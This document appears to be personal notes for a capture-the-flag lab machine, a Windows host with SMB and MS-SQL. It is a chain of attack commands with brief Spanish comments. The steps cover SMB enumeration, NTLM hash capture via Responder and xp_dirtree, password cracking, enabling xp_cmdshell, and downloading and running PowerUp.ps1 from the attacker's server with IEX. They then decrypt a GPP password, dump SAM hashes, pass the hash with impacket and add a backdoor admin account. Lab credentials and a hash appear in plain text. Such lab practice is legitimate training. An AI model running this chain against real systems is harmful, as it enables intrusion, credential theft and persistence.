nmap -p- --open -T5 -v -n 10.129.1.147

nmap -p- --open -T5 -v -n 10.129.1.147 --max-retries 0 -oG allPorts

extractPorts allPorts

nmap -sCV -pX 10.129.1.147 -oN targeted --version-intensity 0

crackmapexec smb 10.129.1.147

smbclient -L 10.129.1.147 -N

Vemos que podemos accesar a Reports

Vemos que esta abierto el puerto 1433 que tiene ms-sql-s

locate mssqlclient.py

smbclient "//10.129.1.147/Reports/" -N

	get "Currency volume Report.xlsm"
	exit

olevba Currency Volume Report.xlsm

crackmapexec smb 10.129.1.147 -u 'reporting' -p 'PcwTWTHRwryjc$c6'

crackmapexec smb 10.129.1.147 -u 'reporting' -p 'PcwTWTHRwryjc$c6' -d WORKGROUP

Vemos el hash de NTLM

python2 /opt/Responder/Responder.py -I tun0 -rdw

xp_dirtree "\\10.10.14.108\si

john --wordlist=/usr/share/wordlists/rockyou.txt querier_hash.txt

crackmapexec 10.129.1.147 -u 'mssql-svc' -p 'corporate568' -d WORKGROUP

sp_configure "show advanced", 1

sp_configure "xp_cmdshell", 1

reconfigure

xp_cmdshell "whoami"

xp_cmdshell "ipconfig"

cp /home/kali/Desktop/boxes/Invoke-PowerShellTcp.ps1 .

python3 -m http.server 8888

Parece que un servicio pone por defecto las configuraciones anteriores.

ipconfig

puede ser potato

whoami /priv

Agregamos Invoke-AllChecks al final de Powerup.ps1

hacemos un python server

python3 -m http.server 8888

IEX(New-Object Net.WebClient).downloadString('http://10.10.14.108:8888/PowerUp.ps1')

Podemos ver el servicio de UsoSvc. Los pasos estan en este wiki

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md

Example with Windows 10 - CVE-2019-1322 UsoSvc

Vemos las credenciales encontradas en Groups.xml

Se puede ver el hash que se le asigna a cpassword

gpp-decrypt "HASH"

Vemos que es el mismo que MyUnclesAreMarioAndLuigi!!1!

crackmapexec smb 10.129.1.147 -u 'Administrator' -p 'MyUnclesAreMarioAndLuigi!!1!'

![[Pasted image 20210812161841.png]]

crackmapexec smb 10.129.1.147 -u 'Administrator' -p 'MyUnclesAreMarioAndLuigi!!1! -d WORKGROUP --sam'

python3 /opt/impacket/examples/smbexec.py WORKGROUP/Administrator@10.129.1.147 -hashes :2dcefe78334b42c0ce483b8e1b2886ab

net user cu3rv0x pass123 /add

net localgroup "Administrators" cu3rv0x /add

net share attacker_folder=C:\Windows\Temp /GRANT:Administrators, FULL

reg add HKLM\SOFTWARE\Microsoft\CurrentVersion\System\Policies /v LocalAccountTokentFilterPolicy /t REG_DWORD /d 1 /f

crackmapexec smb 10.129.1.147 -u 'cu3rv0x' -p 'pass123'

python3 /opt/impacket/examples/wmiexec.py WORKGROUP/Administrator@10.129.1.147 cmd.exe -hashes :2dcefe78334b42c0ce483b8e1b2886ab

python3 /opt/impacket/examples/psexec.py WORKGROUP/Administrator@10.129.1.147 cmd.exe